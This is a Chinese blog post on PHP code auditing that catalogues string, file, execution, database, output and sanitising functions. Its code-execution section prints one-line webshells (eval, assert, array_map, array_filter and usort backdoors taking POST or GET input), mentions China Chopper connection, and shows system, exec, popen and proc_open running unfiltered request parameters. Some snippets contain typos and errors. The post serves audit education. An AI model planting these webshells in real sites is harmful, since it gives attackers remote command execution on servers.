• PHP代码审计2—这些函数必知必会


    一、字符串处理相关函数

    • 函数1:substr()

      作用:从一个字符串中的指定位置截取出一个指定长度的子字符串,
      示例:echo substr('123456789',4,4)     //5678
      
      • 1
      • 2
    • 函数2:strlen()

      作用:获取一个字符串的长度
      示例: echo strlen('123456')   //6
      
      • 1
      • 2
    • 函数3:strrchr()

      作用:查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。通常用作获取文件后缀名
      示例:echo strrchr('testFileName.php.jpg.excel','.')   //excel
      
      • 1
      • 2
    • 函数4: strtolower ()

      作用:将字符串中的所有字符转换为小写,与之对应的strtoupper则是转换为大写
      示例:echo  strtolower('ABCDerfgth')   //abcderfgth
      
      • 1
      • 2
    • 函数5:trim()

      作用:去掉字符两边的字符,默认移除 " "、“\t","\n","\r","\x0B","\0"
      示例:echo trim('     abbbbbbbcccccca\r\n')   //abbbbbbbcccccca
      
      • 1
      • 2
    • 函数6: strpos ()

      作用:从字符串中查找某个字符出现的位置(返回该字符的数字下标),从最左开始,与之对应的strrpos()函数则是从右侧开始查找
      示例:echo strpos('hello,life is alive,life is beautiful!!','life') //6
      
      • 1
      • 2

    二、变量类型处理相关函数

    • 函数1:getype()

      作用:获取变量的类型
      示例: echo gettype('123')    //string
      
      • 1
      • 2
    • 函数2: isset()

      作用:检测变量是否被设置
      示例: var $a; echo isset($a);  // TRUE
      
      • 1
      • 2
    • 函数3:is_null()

      作用:检测函数是否为空
      示例: Var $a='123'; echo is_null($a)    // False
      
      • 1
      • 2
    • 函数4:empty()

      作用:判断变量是否为空,当变量存在并且是一个非空非零的值时返回 FALSE 否则返回 TRUE.值得注意的是,empty() 并不会产生警告,哪怕变量并不存在。 这意味着 empty() 本质上与 !isset($var) || $var == false 等价。
      示例: var $a=0; echo empty($a)     //TRUE
      
      • 1
      • 2
    • 函数5:is_string(),is_int(),is_float(),is_bool()

      作用:检测变量是否是字符串、整形、float型、布尔型
      
      • 1
    • 函数6:var_dump()

      作用:打印变量的详细信息,包括变量类型和变量值
      示例:var $a='123'; var_dump($a); //string('123')
      
      • 1
      • 2
    • 函数7:unset()

      作用:销毁变量
      
      • 1

    三、文件处理相关函数

    • 函数1:basename(string $path [string $suffix])

      作用:返回路径中的文件名部分
      示例1echo basename("/var/www/html/index.php")   //index.php
      示例2echo basename("/var/www/html/index.php",".php")  //index 
      
      • 1
      • 2
      • 3
    • 函数2:dirname(string $path)

      作用:返回文件的路径
      echo dirnamr(var/www/html/index.php")   //var/www/html
      
      • 1
      • 2
    • 函数3:pathinfo(string $path [string $option])

      作用:返回文件的关联信息,包括dirname,basename,extension,filename。其中option为可选项,可选项为:PATHINFO_DIRNAMEPATHINFO_BASENAMEPATHINFO_EXTENSION,如果设置了,则只输出对应选项的关联信息。
      示例1echo pathinfo('var/www/html/index.php'PATHINFO_EXTENSION) //php
      示例2echo pathinfo('var/www/html/index.php'); 结果如下:
      /*array
        'dirname' => string 'var/www/html' (length=12)
        'basename' => string 'index.php' (length=9)
        'extension' => string 'php' (length=3)
        'filename' => string 'index' (length=5)
      */
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
    • 函数4:filetype(string $filename)

      作用:返回指定文件或目录的类型。如果成功,该函数返回 7 种可能的值之一。如果失败,则返回 FALSE。可能的返回结果有如下7种:fifo,char,dir,block,link,file,unknown
      示例:echo filetype("123.php")   //file
      
      • 1
      • 2
    • 函数5:filesize(string $filenmae)

      作用:输出文件的大小,如果成功,该函数返回文件大小的字节数。如果失败,则返回 FALSE
      • 1
    • 函数6:fopen(string $filename,mode,include_path,context)

      作用:打开文件或者URL
      关于mode:
      	'r':只读方式打开,文件指针指向文件头
      	'r+':读写方式打开,文件指针指向文件头
      	'w':写入方式打开,清除文件内容,如果文件不存在则创建
      	'W+':读写方式打开,清除文件内容,如果文件不存在则创建
      	'a':写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建
      	'a+':读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容
      	'x':创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误
      	'x+':创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误
      关于include_path:可选项,如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'
      关于Context:可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项
      
      注释:当书写一个文本文件时,请确保您使用了正确的行结束符! 在 Unix 系统中,行结束符为 \n;在 Windows 系统中,行结束符为 \r\n;在 Macintosh 系统中,行结束符为 \r。Windows 系统中提供了一个文本转换标记 "t" ,可以透明地将 \n 转换为 \r\n,为了使用这些标记,请使用 "b" 或者 "t" 来作为 mode 参数的最后一个字符。
      示例: $file=fopen('/var/wwww/html/index.txt','at')
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
    • 函数7:file(path,include_path,context)

      作用:将文件按行读入数组中,包括换行符
      关于参数:
      	path:必须,文件路径
      	include_path:可选
      	context:可选
      示例:print_r(file("test.txt"));结果如下:
      Array
      (
      [0] => Hello World. Testing testing!
      [1] => Another day, another line.
      )
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
    • 函数8:file_exists ( string $filename )

      作用:检查文件或者目录是否存在
      
      • 1
    • 函数9:is_file(string $filename)

      作用:判断指定的文件是否为常规文件
      注意:注释:该函数的结果会被缓存。请使用 clearstatcache() 来清除缓存。
      
      • 1
      • 2
    • 函数10:fclose()

      作用:关闭一个已经打开的文件指针,通常与fopen共用
      示例:
      $file = fopen("test.txt","a");
      fclose($file);
      
      • 1
      • 2
      • 3
      • 4
    • 函数11:include(),require(),include_once(),require_once()

      作用:包含文件,如果要包含远程文件,需要在php.ini中配置:allow_url_include= on
      区别:
      	require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。require 在一开始就加载
      	include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。incluce 在用到时加载。
      	_once 后缀表示已加载的不加载
      
      • 1
      • 2
      • 3
      • 4
      • 5

    四、代码执行与命令执行相关函数

    1、代码执行函数

    • 函数1:eval(string $phpCode)

      作用:将字符串当作PHP代码来执行,常见的用法就是一句话木马。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
      示例:<?php @eval($_POST['cmd']); ?>
      
      • 1
      • 2
    • 函数2:assert()

      作用:与eval类似,字符串被 assert() 当做 PHP 代码来执行,但是只能执行一行代码,而eval能执行多行代码。但是在php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
      php7的示例demo: <?php$a='assert'; $b=$_GET['cmd']; $a(system($b));?>
      
      • 1
      • 2
    • 函数3:preg_replace()

      作用: 函数执行一个正则表达式的搜索和替换
      语法:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
      语法翻译过来就是:preg_replace (正则表达式, 替换成什么东西, 目标字符串, 最大替换次数【默认-1,无数次】, 替换次数)
      执行代码示例: preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});
      关于preg_replace()能执行代码的几个关键点:
      	1/e修饰符必不可少
      	2、你必须让 subject 中有 pattern 的匹配
      	3PHP版本在5.5-5.6,后续版本删除了/e修饰符,则不能执行代码
      	4、满足可变变量的条件:也就是双引号里面如果包含有变量,php解释器会将其替换为变量解释后的 结果比如说 'strtolower("\1")'
      对于该函数详见文末参考资料。
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
    • 函数4:create_function()

      作用:根据传递的参数创建匿名函数,并为其返回唯一名称。
      语法:create_function(string $args,string $code)
      参数解析:
      	1string $args 声明的函数变量部分
      	2string $code 执行的方法代码部分
      示例分析:
      	$newfunc = create_function('$a, $b', 'return "$a + $b = " . ($a + $b);');
      	echo $newfunc(3,4);
      	//输出结果 3 + 4 = 7
      	//可见,第一个参数是匿名函数的参数名,第二个参数是函数里面的逻辑代码
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
    • 函数5:array_map()

      作用:将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
      命令执行示例:
          #命令执行shell.php?func=system cmd=whoami
          #菜刀连接shell.php?func=assert 密码:cmd 数据传输方式:POST
          $func=$_GET['func'];
          $cmd=$_POST['cmd'];
          $array[0]=$cmd;
          $new_array=array_map($func,$array);
          echo $new_array;
      木马示例 array_map() 一句话木马示例:
        array_map('assert',array($POST['a']))array_map($GET['func'],array($_POST['a']))//菜刀连接shell.php?func=assert 密码:a
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
    • 函数6:call_user_func()

      语法:call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
      作用:将第一个参数当做回调函数进行调用。
      代码执行示例:
      <?php
         function test($a){ system($a);}
         call_user_func('a',$_POST['cmd']); 
      ?>
      
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
    • 函数7:call_user_func_array()

      call_user_func()函数类似,只不过回调函数传入的参数,使用数组来进行传递,这样对于参数传递过程更加清晰
      示例:
      <?php
        function test($a){ system($a);}
        call_user_func('a',array($_POST['cmd']); 
      ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
    • 函数8:array_filter()

      作用:用回调函数处理数组中的各个元素。重点在于过滤(而不是新增)某个元素,当你处理到一个元素时,如果返回了false,那么这个元素将会被过滤掉。值得之一的是,被处理后的array会保留原来的索引。
      语法:array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
      使用示例:
      //shell.php?func=system&cmd=your_cmd
      $array=array($_GET['cmd']);
      $func=$_GET['func'];
      array_filter($array,$func)
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
    • 函数9:usort(),uasort()

      作用:
      	1、usort通过用户自定义函数对数组进行排序
      	2、uasort使用用户自定义函数对数组中的值进行排序并保持索引关联
      使用示例:
      	$array=array($_GET['cmd'],'test');
      	usort($array,'system');
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

    2、命令执行函数

    • 函数1:system()

      作用:执行系统命令,并将执行结果输出,只输出正确的结果,错误结果不输出。
      示例:$cmd=$_GET['cmd']; system($cmd);   //?cmd=your_cmd
      
      • 1
      • 2
    • 函数2:exec()

      语法:string exec ( string $command [, array &$output[, int &$return_var]] )
      作用:执行命令,但无输出,可以指定output参数,会使用返回结果填充output;如果output参数中已经有元素,exec()会在output后面追加,output参数的返回结果是一个数组。
      使用示例:
      //shell.php?cmd=your_cmd
       $cmd=$_GET['cmd'];
       exec($cmd,$res);
       var_dump($res);
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
    • 函数3:shell_exec()

      作用:执行系统命令,但不会有任何返回结果
      
      • 1
    • 函数4:passthru()

      作用:运行外部程序,并在屏幕上显示结果,类似于system(),对于错误的结果并不会输出。
      
      • 1
    • 函数5:popen()

      作用:打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets()fgetss()fwrite()
      语法:resource popen ( string $command , string $mode )
      使用示例:
          $cmd=$_GET['cmd'];  
      	$fp=popen($cmd, 'r');   //执行命令并创建一个输出文件指针
      	echo fread($fp,1024);   //读取指针中指向的文件内容,读取1024字节
      	pclose($fp);            //关闭文件指针
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
    • 函数6:proc_oprn()

      作用:执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。
      语法:resource proc_open (string $cmd ,array $descriptorspec ,array &$pipes [, string $cwd [, array $env [, array $other_options ]]])
      示例:
          $cmd = $_GET['cmd'];
          $array = array(array("pipe","r"),    //标准输入内容
                         array("pipe","w"),    //标准输出内容  
                         array("pipe","w")     //标准输出错误  
                         );
          $fp = proc_open($cmd,$array,$pipes);   //打开一个进程通道  
          echo stream_get_contents($pipes[1]);  //为什么是$pipes[1],因为1是输出
          proc_close($fp);     //打开一个进程后,使用结束必须关闭,否则容易造成死锁
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11

    五、数据库操作相关函数

    • 函数1:mysql_connect()

      作用:函数开始一个对指定主机上的MySQL数据库的连接。若该数据库位于一个不同地端口,则在主机名后加上冒号和端口号。所有参数均为可选的,缺省情况下分别对应为本地主机、用户正在执行的脚本名和空。主机可以是IP地址或域名。
      语法:integer mysql_connect($host,$user,$passwd);
      
      • 1
      • 2
    • 函数2:mysql_select_db()

      作用:选择缺省数据库。
      语法:boolean mysql_select_db($db_name,$connect);
      
      • 1
      • 2
    • 函数3:mysql_query()

      作用:对指定数据库进行查询。如果SQL语句是select,则返回一个结果号,否则返回的值可以不理会。如果失败,返回false.。
      语法:integer mysql_query($sql,$connect)
      
      • 1
      • 2
    • 函数4:mysql_fetch_array()

      作用:取出下一行,返回一个数组.可以用数字下标访问(第一个字段是下标 0),也可以用字符串下标访问(即使用各字段名)。如已取了最后一行,返回 false。。
      语法:array mysql_fetch_array($result)
      
      • 1
      • 2
    • 函数5:mysql_feetch_row()

      作用:返回一个矩阵代表结果集中一行的所有域。每次调用都会产生下一行,直到没有行剩下时返回false。每个域值都由一个从零开始的偏移量索引。这是从查询中获取结果的最快方法。
      
      • 1
    • 函数6:mysql_num_rows)

      作用:返回查询结果中的行的数目
      语法:integer mysql_num_rows($result);
      
      • 1
      • 2
    • 函数7:mysql_close()

      作用:关闭数据库连接
      
      • 1

    六、数据输出相关函数

    数据输出函数往往和XSS漏洞相关,如果输出的数据没有被过滤则可能导致XSS漏洞存在。PHP中常用的输出法术如下:

    • 函数1:echo()

      解析:echo() 函数实际不是一个函数,所以您不必对它使用括号。然而,如果您希望向 echo() 传递一个以上的参数,使用括号将会生成解析错误。
      语法:echo "Hello world!";
      
      • 1
      • 2
    • 函数2:var_dum()

      解析:用于输出变量的相关信息,函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
      
      • 1
    • 函数3:printf()

      解析:输出格式化的字符串:
      示例:
      	$number = 9;
      	$str = "北京";
      	printf("在%s有 %u 百万辆自行车。",$str,$number);
      
      • 1
      • 2
      • 3
      • 4
      • 5
    • 函数4:print()

      解析:输出一个或多个字符串。print() 函数实际不是一个函数,所以您不必对它使用括号。
      语法:print "hello word!!!"
      
      • 1
      • 2
    • 函数5:die()

      解析:函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。
      示例:
      	$site = "http://www.w3school.com.cn/";
      	fopen($site,"r")
      	or die("Unable to connect to $site");
      
      • 1
      • 2
      • 3
      • 4
      • 5

    七、安全防御相关函数

    • 函数1: mysql_real_escape_string()

      解析:会对一些例如单引号、双引号、反斜杠等特殊字符添加一个反斜杠以确保在查询这些数据之前,用户提供的输入是干净的。但要注意,你是在连接数据库的前提下使用这个函数。
      
      • 1
    • 函数2:mysql_escape_string()

      解析:本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。
      不过无论是 mysql_real_escape_string() 还是mysql_escape_string(),都不是防御SQL注入的最佳方案,目前来说,使用PDO来操作数据库,才是安全的防御SQL注入的好方法。
      
      • 1
      • 2
    • 函数3:addslashes()

      解析:这个函数的原理跟mysql_real_escape_string()相似。但是当在php.ini文件中,“magic_quotes_gpc“的值是“on”的时候,就不要使用这个函数。magic_quotes_gpc 的默认值是on,对所有的 GETPOSTCOOKIE 数据自动运行 addslashes()。如果对已经转义过的数据再次使用该函数,则会造成二次转义,为了避免这种情况,可以使用get_magic_quotes_gpc()函数来确定它是否开启。
      
      • 1
    • 函数4: htmlentities()

      这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被该函数转化为HTML实体<&lt),输入>就被转为实体&gt.
      
      • 1
    • 函数5: htmlspecialchars()

      HTML中,一些特定字符有特殊的含义,如果要保持字符原来的含义,就应该转换为HTML实体。这个函数会返回转换后的字符串。作用类似与htmlentities().
      
      • 1
    • 函数6: strip_tags()

      这个函数可以去除字符串中所有的HTML,JavaScript和PHP标签,当然你也可以通过设置该函数的第二个参数,让一些特定的标签出现。
      
      • 1
    • 函数7:urldecode()

      进行URL解码,解码给出的已编码字符串中的任何 %##。 加号('+')被解码成一个空格字符。
      注意:超全局变量 $_GET$_REQUEST 已经被解码了。对 $_GET$_REQUEST 里的元素使用 urldecode() 将会导致不可预计和危险的结果。
      
      • 1
      • 2
    • 函数8:escapeshellarg()

      Linux:对传入的字符串用一对单引号包围,将内容的'先用反斜杠转义,再添加一对单引号包围,即单引号会被转义为'\''
      Windows:对传入的字符串用一对双引号包围,将内容的"%!以空格替换
      
      • 1
      • 2

    八、参考资料

  • 相关阅读:
    HCIP-AI神经网络基础
    Leetcode100.相同的树
    selenium4.0的一些基本用法
    李航老师《统计学习方法》第2章阅读笔记
    ABPvNext 迁移Mysql(macOS)
    Git(涵盖GitHub\Gitee码云\GitLab)
    python语言性能不适合在移动端做图色模拟开发,推荐用lua
    Linux·驱动
    什么原因导致百度百科建立一直审核不通过?
    mysql表的增删改查(进阶)
  • 原文地址:https://blog.csdn.net/qq_45590334/article/details/125440332